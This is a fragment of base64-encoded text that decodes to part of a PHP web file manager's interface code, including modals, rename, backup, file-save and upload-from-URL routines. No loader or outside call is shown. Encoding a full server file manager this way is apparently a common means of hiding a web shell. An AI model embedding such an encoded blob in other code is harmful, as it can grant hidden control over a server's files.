xuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5h